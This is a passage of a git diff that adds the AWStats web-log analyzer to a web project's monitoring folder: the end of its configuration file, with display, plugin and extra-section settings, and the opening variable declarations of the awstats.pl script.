AWStats page contains meta tag robots=noindex,nofollow +# If you want to have your statistics to be indexed, set this option to 1. +# Default: 0 +# +MetaRobot=0 + + +# You can set Logo and LogoLink to use your own logo. +# Logo must be the name of image file (must be in $DirIcons/other directory). +# LogoLink is the expected URL when clicking on Logo. +# Default: "awstats_logo6.png" +# +Logo="awstats_logo6.png" +LogoLink="http://www.awstats.org" + + +# Value of maximum bar width/height for horizontal/vertical HTML graphics bars. +# Default: 260/90 +# +BarWidth = 260 +BarHeight = 90 + + +# You can ask AWStats to use a particular CSS (Cascading Style Sheet) to +# change its look. To create a style sheet, you can use samples provided with +# AWStats in wwwroot/css directory. +# Example: "/awstatscss/awstats_bw.css" +# Example: "/css/awstats_bw.css" +# Default: "" +# +StyleSheet="" + + +# Those color parameters can be used (if StyleSheet parameter is not used) +# to change AWStats look. +# Example: color_name="RRGGBB" # RRGGBB is Red Green Blue components in Hex +# +color_Background="FFFFFF" # Background color for main page (Default = "FFFFFF") +color_TableBGTitle="CCCCDD" # Background color for table title (Default = "CCCCDD") +color_TableTitle="000000" # Table title font color (Default = "000000") +color_TableBG="CCCCDD" # Background color for table (Default = "CCCCDD") +color_TableRowTitle="FFFFFF" # Table row title font color (Default = "FFFFFF") +color_TableBGRowTitle="ECECEC" # Background color for row title (Default = "ECECEC") +color_TableBorder="ECECEC" # Table border color (Default = "ECECEC") +color_text="000000" # Color of text (Default = "000000") +color_textpercent="606060" # Color of text for percent values (Default = "606060") +color_titletext="000000" # Color of text title within colored Title Rows (Default = "000000") +color_weekend="EAEAEA" # Color for week-end days (Default = "EAEAEA") +color_link="0011BB" # Color of HTML links (Default = "0011BB") +color_hover="605040" # Color of HTML on-mouseover links (Default = "605040") +color_u="FFAA66" # Background color for number of unique visitors (Default = "FFAA66") +color_v="F4F090" # Background color for number of visites (Default = "F4F090") +color_p="4477DD" # Background color for number of pages (Default = "4477DD") +color_h="66DDEE" # Background color for number of hits (Default = "66DDEE") +color_k="2EA495" # Background color for number of bytes (Default = "2EA495") +color_s="8888DD" # Background color for number of search (Default = "8888DD") +color_e="CEC2E8" # Background color for number of entry pages (Default = "CEC2E8") +color_x="C1B2E2" # Background color for number of exit pages (Default = "C1B2E2") + + + +#----------------------------------------------------------------------------- +# PLUGINS +#----------------------------------------------------------------------------- + +# Add here all plugin files you want to load. +# Plugin files must be .pm files stored in 'plugins' directory. +# Uncomment LoadPlugin lines to enable a plugin after checking that perl +# modules required by the plugin are installed. + +# PLUGIN: Tooltips +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add tooltips pop-up help boxes to HTML report pages. +# NOTE: This will increased HTML report pages size, thus server load and bandwidth. +# +#LoadPlugin="tooltips" + +# PLUGIN: DecodeUTFKeys +# REQUIRED MODULES: Encode and URI::Escape +# PARAMETERS: None +# DESCRIPTION: Allow AWStats to show correctly (in language charset) +# keywords/keyphrases strings even if they were UTF8 coded by the +# referer search engine. +# +#LoadPlugin="decodeutfkeys" + +# PLUGIN: IPv6 +# PARAMETERS: None +# REQUIRED MODULES: Net::IP and Net::DNS +# DESCRIPTION: This plugin gives AWStats capability to make reverse DNS +# lookup on IPv6 addresses. +# +#LoadPlugin="ipv6" + +# PLUGIN: HashFiles +# REQUIRED MODULES: Storable +# PARAMETERS: None +# DESCRIPTION: AWStats DNS cache files are read/saved as native hash files. +# This increases DNS cache files loading speed, above all for very large web sites. +# +#LoadPlugin="hashfiles" + + +# PLUGIN: UserInfo +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add a text (Firtname, Lastname, Office Department, ...) in +# authenticated user reports for each login value. +# A text file called userinfo.myconfig.txt, with two fields (first is login, +# second is text to show, separated by a tab char) must be created in DirData +# directory. +# +#LoadPlugin="userinfo" + +# PLUGIN: HostInfo +# REQUIRED MODULES: Net::XWhois +# PARAMETERS: None +# DESCRIPTION: Add a column into host chart with a link to open a popup window that shows +# info on host (like whois records). +# +#LoadPlugin="hostinfo" + +# PLUGIN: ClusterInfo +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add a text (for example a full hostname) in cluster reports for each cluster +# number. A text file called clusterinfo.myconfig.txt, with two fields (first is +# cluster number, second is text to show) separated by a tab char. must be +# created into DirData directory. +# Note this plugin is useless if ShowClusterStats is set to 0 or if you don't +# use a personalized log format that contains %cluster tag. +# +#LoadPlugin="clusterinfo" + +# PLUGIN: UrlAliases +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add a text (Page title, description...) in URL reports before URL value. +# A text file called urlalias.myconfig.txt, with two fields (first is URL, +# second is text to show, separated by a tab char) must be created into +# DirData directory. +# +#LoadPlugin="urlalias" + +# PLUGIN: TimeHiRes +# REQUIRED MODULES: Time::HiRes (if Perl < 5.8) +# PARAMETERS: None +# DESCRIPTION: Time reported by -showsteps option is in millisecond. For debug purpose. +# +#LoadPlugin="timehires" + +# PLUGIN: TimeZone +# REQUIRED MODULES: Time::Local +# PARAMETERS: [timezone offset] +# DESCRIPTION: Allow AWStats to adjust time stamps for a different timezone +# This plugin reduces AWStats speed of 10% !!!!!!! +# LoadPlugin="timezone" +# LoadPlugin="timezone +2" +# LoadPlugin="timezone CET" +# +#LoadPlugin="timezone +2" + +# PLUGIN: Rawlog +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: This plugin adds a form in AWStats main page to allow users to see raw +# content of current log files. A filter is also available. +# +#LoadPlugin="rawlog" + +# PLUGIN: GraphApplet +# REQUIRED MODULES: None +# PARAMETERS: [CSS classes to override] +# DESCRIPTION: Supported charts are built by a 3D graphic applet. +# +#LoadPlugin="graphapplet /awstatsclasses" # EXPERIMENTAL FEATURE + +# PLUGIN: GraphGoogleChartAPI +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Replaces the standard charts with free Google API generated images +# in HTML reports. If country data is available and more than one country has hits, +# a map will be generated using Google Visualizations. +# Note: The machine where reports are displayed must have Internet access for the +# charts to be generated. The only data sent to Google includes the statistic numbers, +# legend names and country names. +# Warning: This plugin is not compatible with option BuildReportFormat=xhtml. +# +#LoadPlugin="graphgooglechartapi" + +# PLUGIN: GeoIPfree +# REQUIRED MODULES: Geo::IPfree version 0.2+ (from Graciliano M.P.) +# PARAMETERS: None +# DESCRIPTION: Country chart is built from an Internet IP-Country database. +# This plugin is useless for intranet only log files. +# Note: You must choose between using this plugin (need Perl Geo::IPfree +# module, database is free but not up to date) or the GeoIP plugin (need +# Perl Geo::IP module from Maxmind, database is also free and up to date). +# Note: Activestate provide a corrupted version of Geo::IPfree 0.2 Perl +# module, so install it from elsewhere (from www.cpan.org for example). +# This plugin reduces AWStats speed by up to 10% ! +# +#LoadPlugin="geoipfree" + +# MAXMIND GEO IP MODULES: Please see documentation for notes on all Maxmind modules + +# PLUGIN: GeoIP +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/geoip.dat[+/pathto/override.txt]] +# DESCRIPTION: Builds a country chart and adds an entry to the hosts +# table with country name +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip GEOIP_STANDARD /pathto/GeoIP.dat" + +# PLUGIN: GeoIP_City_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPCity.dat[+/pathto/override.txt]] +# DESCRIPTION: This plugin adds a column under the hosts field and tracks the pageviews +# and hits by city including regions. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_city_maxmind GEOIP_STANDARD /pathto/GeoIPCity.dat" + +# PLUGIN: GeoIP_ASN_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPASN.dat[+/pathto/override.txt][+http://linktoASlookup]] +# DESCRIPTION: This plugin adds a chart of AS numbers where the host IP address is registered. +# This plugin can display some ISP information if included in the database. You can also provide +# a link that will be used to lookup additional registration data. Put the link at the end of +# the parameter string and the report page will include the link with the full AS number at the end. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_asn_maxmind GEOIP_STANDARD /usr/local/geoip.dat+http://enc.com.au/itools/aut-num.php?autnum=" + +# PLUGIN: GeoIP_Region_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPRegion.dat[+/pathto/override.txt]] +# DESCRIPTION:This plugin adds a chart of hits by regions. Only regions for US and +# Canada can be detected. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_region_maxmind GEOIP_STANDARD /pathto/GeoIPRegion.dat" + +# PLUGIN: GeoIP_ISP_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPISP.dat[+/pathto/override.txt]] +# DESCRIPTION: This plugin adds a chart of hits by ISP. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_isp_maxmind GEOIP_STANDARD /pathto/GeoIPISP.dat" + +# PLUGIN: GeoIP_Org_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPOrg.dat[+/pathto/override.txt]] +# DESCRIPTION: This plugin add a chart of hits by Organization name +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_org_maxmind GEOIP_STANDARD /pathto/GeoIPOrg.dat" + + +#----------------------------------------------------------------------------- +# EXTRA SECTIONS +#----------------------------------------------------------------------------- + +# You can define your own charts, you choose here what are rows and columns +# keys. This feature is particularly useful for marketing purpose, tracking +# products orders for example. +# For this, edit all parameters of Extra section. Each set of parameter is a +# different chart. For several charts, duplicate section changing the number. +# Note: Each Extra section reduces AWStats speed by 8%. +# +# WARNING: A wrong setup of Extra section might result in too large arrays +# that will consume all your memory, making AWStats unusable after several +# updates, so be sure to setup it correctly. +# In most cases, you don't need this feature. +# +# ExtraSectionNameX is title of your personalized chart. +# ExtraSectionCodeFilterX is list of codes the record code field must match. +# Put an empty string for no test on code. +# ExtraSectionConditionX are conditions you can use to count or not the hit, +# Use one of the field condition +# (URL,URLWITHQUERY,QUERY_STRING,REFERER,UA,HOSTINLOG,HOST,VHOST,extraX) +# and a regex to match, after a coma. Use "||" for "OR". +# ExtraSectionFirstColumnTitleX is the first column title of the chart. +# ExtraSectionFirstColumnValuesX is a string to tell AWStats which field to +# extract value from +# (URL,URLWITHQUERY,QUERY_STRING,REFERER,UA,HOSTINLOG,HOST,VHOST,extraX) +# and how to extract the value (using regex syntax). Each different value +# found will appear in first column of report on a different row. Be sure +# that list of different possible values will not grow indefinitely. +# ExtraSectionFirstColumnFormatX is the string used to write value. +# ExtraSectionStatTypesX are things you want to count. You can use standard +# code letters (P for pages,H for hits,B for bandwidth,L for last access). +# ExtraSectionAddAverageRowX add a row at bottom of chart with average values. +# ExtraSectionAddSumRowX add a row at bottom of chart with sum values. +# MaxNbOfExtraX is maximum number of rows shown in chart. +# MinHitExtraX is minimum number of hits required to be shown in chart. +# + +# Example to report the 20 products the most ordered by "order.cgi" script +#ExtraSectionName1="Product orders" +#ExtraSectionCodeFilter1="200 304" +#ExtraSectionCondition1="URL,\/cgi\-bin\/order\.cgi||URL,\/cgi\-bin\/order2\.cgi" +#ExtraSectionFirstColumnTitle1="Product ID" +#ExtraSectionFirstColumnValues1="QUERY_STRING,productid=([^&]+)" +#ExtraSectionFirstColumnFormat1="%s" +#ExtraSectionStatTypes1=PL +#ExtraSectionAddAverageRow1=0 +#ExtraSectionAddSumRow1=1 +#MaxNbOfExtra1=20 +#MinHitExtra1=1 + + +# There is also a global parameter ExtraTrackedRowsLimit that limits the +# number of possible rows an ExtraSection can report. This parameter is +# here to protect too much memory use when you make a bad setup in your +# ExtraSection. It applies to all ExtraSection independently meaning that +# none ExtraSection can report more rows than value defined by ExtraTrackedRowsLimit. +# If you know an ExtraSection will report more rows than its value, you should +# increase this parameter or AWStats will stop with an error. +# Example: 2000 +# Default: 500 +# +ExtraTrackedRowsLimit=500 + + +#----------------------------------------------------------------------------- +# INCLUDES +#----------------------------------------------------------------------------- + +# You can include other config files using the directive with the name of the +# config file. +# This is particularly useful for users who have a lot of virtual servers, so +# a lot of config files and want to maintain common values in only one file. +# Note that when a variable is defined both in a config file and in an +# included file, AWStats will use the last value read for parameters that +# contains one value and AWStats will concat all values from both files for +# parameters that are lists of values. +# + +#Include "" + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.pl b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.pl new file mode 100755 index 0000000..fa6e040 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/awstats.pl @@ -0,0 +1,21328 @@ +#!/usr/bin/perl +#------------------------------------------------------------------------------ +# Free realtime web server logfile analyzer to show advanced web statistics. +# Works from command line or as a CGI. You must use this script as often as +# necessary from your scheduler to update your statistics and from command +# line or a browser to read report results. +# See AWStats documentation (in docs/ directory) for all setup instructions. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see <http://www.gnu.org/licenses/>. +#------------------------------------------------------------------------------ +# $Revision: 1.992 $ - $Author: eldy $ - $Date: 2013/07/09 19:59:20 $ +require 5.007; + +#$|=1; +use warnings; # Must be used in test mode only. This reduce a little process speed +use diagnostics; # Must be used in test mode only. This reduce a lot of process speed +use strict; +no strict "refs"; +use Time::Local + ; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules +use Socket; +use Encode; +use File::Spec; + + +#------------------------------------------------------------------------------ +# Defines +#------------------------------------------------------------------------------ +use vars qw/ $REVISION $VERSION /; +$REVISION = '$Revision: 1.992 $'; +$REVISION =~ /\s(.*)\s/; +$REVISION = $1; +$VERSION = "7.2 (build $REVISION)"; + +# ----- Constants ----- +use vars qw/ + $DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE + $LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE + $WIDTHCOLICON $TOOLTIPON + $lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate + $NOHTML + /; +$DEBUGFORCED = 0 + ; # Force debug level to log lesser level into debug.log file (Keep this value to 0) +$NBOFLINESFORBENCHMARK = 8192 + ; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2) +$FRAMEWIDTH = 240; # Width of left frame when UseFramesWhenCGI is on +$NBOFLASTUPDATELOOKUPTOSAVE = + 500; # Nb of records to save in DNS last update cache file +$LIMITFLUSH = + 5000; # Nb of records in data arrays after how we need to flush data on disk +$NEWDAYVISITTIMEOUT = 764041; # Delay between 01-23:59:59 and 02-00:00:00 +$VISITTIMEOUT = 10000 + ; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000) +$NOTSORTEDRECORDTOLERANCE = 20000 + ; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000) +$WIDTHCOLICON = 32; +$TOOLTIPON = 0; # Tooltips plugin loaded +$NOHTML = 0; # Suppress the html headers + +# ----- Running variables ----- +use vars qw/ + $DIR $PROG $Extension + $Debug $ShowSteps + $DebugResetDone $DNSLookupAlreadyDone + $RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent + $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate + $lowerval + $PluginMode + $MetaRobot + $AverageVisits $AveragePages $AverageHits $AverageBytes + $TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown + $TotalPages $TotalHits $TotalBytes $TotalHitsErrors + $TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes + $TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages + $TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords + $TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer + $FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired + $QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent + $pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size + $pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken + $pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra + /; +$DIR = $PROG = $Extension = ''; +$Debug = $ShowSteps = 0; +$DebugResetDone = $DNSLookupAlreadyDone = 0; +$RunAsCli = $UpdateFor = $HeaderHTTPSent = $HeaderHTMLSent = 0; +$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0; +$LastUpdate = 0; +$lowerval = 0; +$PluginMode = ''; +$MetaRobot = 0; +$AverageVisits = $AveragePages = $AverageHits = $AverageBytes = 0; +$TotalUnique = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0; +$TotalPages = $TotalHits = $TotalBytes = $TotalHitsErrors = 0; +$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0; +$TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0; +$TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = 0; +$TotalDifferentKeywords = 0; +$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0; +$TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0; +( + $FrameName, $Center, $FileConfig, $FileSuffix, + $Host, $YearRequired, $MonthRequired, $DayRequired, + $HourRequired, $QueryString, $SiteConfig, $StaticLinks, + $PageCode, $PageDir, $PerlParsingFormat, $UserAgent + ) + = ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' ); + +# ----- Plugins variable ----- +use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /; +%PluginsLoaded = (); +$PluginDir = ''; +$AtLeastOneSectionPlugin = 0; + +# ----- Time vars ----- +use vars qw/ + $starttime + $nowtime $tomorrowtime + $nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear + $nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns + $StartSeconds $StartMicroseconds + /; +$StartSeconds = $StartMicroseconds = 0; + +# ----- Variables for config file reading ----- +use vars qw/ + $FoundNotPageList + /; +$FoundNotPageList = 0; + +# ----- Config file variables ----- +use vars qw/ + $StaticExt + $DNSStaticCacheFile + $DNSLastUpdateCacheFile + $MiscTrackerUrl + $Lang + $MaxRowsInHTMLOutput + $MaxLengthOfShownURL + $MaxLengthOfStoredURL + $MaxLengthOfStoredUA + %BarPng + $BuildReportFormat + $BuildHistoryFormat + $ExtraTrackedRowsLimit + $DatabaseBreak + $SectionsToBeSaved + /; +$StaticExt = 'html'; +$DNSStaticCacheFile = 'dnscache.txt'; +$DNSLastUpdateCacheFile = 'dnscachelastupdate.txt'; +$MiscTrackerUrl = '/js/awstats_misc_tracker.js'; +$Lang = 'auto'; +$SectionsToBeSaved = 'all'; +$MaxRowsInHTMLOutput = 1000; +$MaxLengthOfShownURL = 64; +$MaxLengthOfStoredURL = 256; # Note: Apache LimitRequestLine is default to 8190 +$MaxLengthOfStoredUA = 256; +%BarPng = ( + 'vv' => 'vv.png', + 'vu' => 'vu.png', + 'hu' => 'hu.png', + 'vp' => 'vp.png', + 'hp' => 'hp.png', + 'he' => 'he.png', + 'hx' => 'hx.png', + 'vh' => 'vh.png', + 'hh' => 'hh.png', + 'vk' => 'vk.png', + 'hk' => 'hk.png' +); +$BuildReportFormat = 'html'; +$BuildHistoryFormat = 'text'; +$ExtraTrackedRowsLimit = 500; +$DatabaseBreak = 'month'; +use vars qw/ + $DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly + $BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles + $NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfLinesComment $NbOfLinesBlank $NbOfOldLines $NbOfNewLines + $NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords + $ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowDirectOrigin $ShowLinksToWhoIs + $ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats + $ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats + $IncludeInternalLinksInOriginSection + $AuthenticatedUsersNotCaseSensitive + $Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery + $DecodeUA + /; +( + $DebugMessages, + $AllowToUpdateStatsFromBrowser, + $EnableLockForUpdate, + $DNSLookup, + $AllowAccessFromWebToAuthenticatedUsersOnly, + $BarHeight, + $BarWidth, + $CreateDirDataIfNotExists, + $KeepBackupOfHistoricFiles, + $NbOfLinesParsed, + $NbOfLinesDropped, + $NbOfLinesCorrupted, + $NbOfLinesComment, + $NbOfLinesBlank, + $NbOfOldLines, + $NbOfNewLines, + $NbOfLinesShowsteps, + $NewLinePhase, + $NbOfLinesForCorruptedLog, + $PurgeLogFile, + $ArchiveLogRecords, + $ShowDropped, + $ShowCorrupted, + $ShowUnknownOrigin, + $ShowDirectOrigin, + $ShowLinksToWhoIs, + $ShowAuthenticatedUsers, + $ShowFileSizesStats, + $ShowScreenSizeStats, + $ShowSMTPErrorsStats, + $ShowEMailSenders, + $ShowEMailReceivers, + $ShowWormsStats, + $ShowClusterStats, + $IncludeInternalLinksInOriginSection, + $AuthenticatedUsersNotCaseSensitive, + $Expires, + $UpdateStats, + $MigrateStats, + $URLNotCaseSensitive, + $URLWithQuery, + $URLReferrerWithQuery, + $DecodeUA + ) + = ( + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 + ); +use vars qw/ + $DetailedReportsOnNewWindows + $FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone + $WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI + $ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats + $ShowHoursStats $ShowDomainsStats $ShowHostsStats + $ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats $ShowDownloadsStats + $ShowOSStats $ShowBrowsersStats $ShowOriginStats + $ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats + $AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats + /; +( + $DetailedReportsOnNewWindows, + $FirstDayOfWeek, + $KeyWordsNotSensitive, + $SaveDatabaseFilesWithPermissionsForEveryone, + $WarningMessages, + $ShowLinksOnUrl, + $UseFramesWhenCGI, + $ShowMenu, + $ShowSummary, + $ShowMonthStats, + $ShowDaysOfMonthStats, + $ShowDaysOfWeekStats, + $ShowHoursStats, + $ShowDomainsStats, + $ShowHostsStats, + $ShowRobotsStats, + $ShowSessionsStats, + $ShowPagesStats, + $ShowFileTypesStats, + $ShowDownloadsStats, + $ShowOSStats, + $ShowBrowsersStats, + $ShowOriginStats, + $ShowKeyphrasesStats, + $ShowKeywordsStats, + $ShowMiscStats, + $ShowHTTPErrorsStats, + $AddDataArrayMonthStats, + $AddDataArrayShowDaysOfMonthStats, + $AddDataArrayShowDaysOfWeekStats, + $AddDataArrayShowHoursStats + ) + = ( + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 + ); +use vars qw/ + $AllowFullYearView + $LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze + $LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection + /; +( + $AllowFullYearView, $LevelForRobotsDetection, + $LevelForWormsDetection, $LevelForBrowsersDetection, + $LevelForOSDetection, $LevelForRefererAnalyze, + $LevelForFileTypesDetection, $LevelForSearchEnginesDetection, + $LevelForKeywordsDetection + ) + = ( 2, 2, 0, 2, 2, 2, 2, 2, 2 ); +use vars qw/ + $DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName + $AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs + $LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain + $UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks + $AddLinkToExternalCGIWrapper + /; +( + $DirLock, $DirCgi, + $DirConfig, $DirData, + $DirIcons, $DirLang, + $AWScript, $ArchiveFileName, + $AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection, + $HTMLEndSection, $LinksToWhoIs, + $LinksToIPWhoIs, $LogFile, + $LogType, $LogFormat, + $LogSeparator, $Logo, + $LogoLink, $StyleSheet, + $WrapperScript, $SiteDomain, + $UseHTTPSLinkForUrl, $URLQuerySeparators, + $URLWithAnchor, $ErrorMessages, + $ShowFlagLinks, $AddLinkToExternalCGIWrapper + ) + = ( + '', '', '', '', '', '', '', '', '', '', '', '', '', '', + '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' + ); +use vars qw/ + $color_Background $color_TableBG $color_TableBGRowTitle + $color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle + $color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other + $color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v + /; +( + $color_Background, $color_TableBG, $color_TableBGRowTitle, + $color_TableBGTitle, $color_TableBorder, $color_TableRowTitle, + $color_TableTitle, $color_text, $color_textpercent, + $color_titletext, $color_weekend, $color_link, + $color_hover, $color_other, $color_h, + $color_k, $color_p, $color_e, + $color_x, $color_s, $color_u, + $color_v + ) + = ( + '', '', '', '', '', '', '', '', '', '', '', '', + '', '', '', '', '', '', '', '', '', '' + ); + +# ---------- Init arrays -------- +use vars qw/ + @RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen + @SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen + @BrowsersSearchIDOrder @OSSearchIDOrder @WordsToExtractSearchUrl @WordsToCleanSearchUrl + @WormsSearchIDOrder + @RobotsSearchIDOrder @SearchEnginesSearchIDOrder + @_from_p @_from_h + @_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k + @DOWIndex @fieldlib @keylist + /; +@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = (); +@_from_p = @_from_h = (); +@_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = (); +@DOWIndex = @fieldlib = @keylist = (); +use vars qw/ + @MiscListOrder %MiscListCalc + %OSFamily %BrowsersFamily @SessionsRange %SessionsAverage + %LangBrowserToLangAwstats %LangAWStatsToFlagAwstats %BrowsersSafariBuildToVersionHash + @HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers + @DefaultFile @SkipDNSLookupFor + @SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles + @OnlyHosts @OnlyUserAgents @OnlyFiles @OnlyUsers + @URLWithQueryWithOnly @URLWithQueryWithout + @ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra @ExtraTest + @ExtraColumnTitle @ExtraColumnValues @ExtraColumnFunction @ExtraColumnFormat + @ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal + @ExtraColumnValuesType @ExtraColumnValuesTypeVal + @ExtraAddAverageRow @ExtraAddSumRow + @PluginsToLoad + /; +@MiscListOrder = ( + 'AddToFavourites', 'JavascriptDisabled', + 'JavaEnabled', 'DirectorSupport', + 'FlashSupport', 'RealPlayerSupport', + 'QuickTimeSupport', 'WindowsMediaPlayerSupport', + 'PDFSupport' +); +%MiscListCalc = ( + 'TotalMisc' => '', + 'AddToFavourites' => 'u', + 'JavascriptDisabled' => 'hm', + 'JavaEnabled' => 'hm', + 'DirectorSupport' => 'hm', + 'FlashSupport' => 'hm', + 'RealPlayerSupport' => 'hm', + 'QuickTimeSupport' => 'hm', + 'WindowsMediaPlayerSupport' => 'hm', + 'PDFSupport' => 'hm' +); +@SessionsRange = + ( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' ); +%SessionsAverage = ( + '0s-30s', 15, '30s-2mn', 75, '2mn-5mn', 210, + '5mn-15mn', 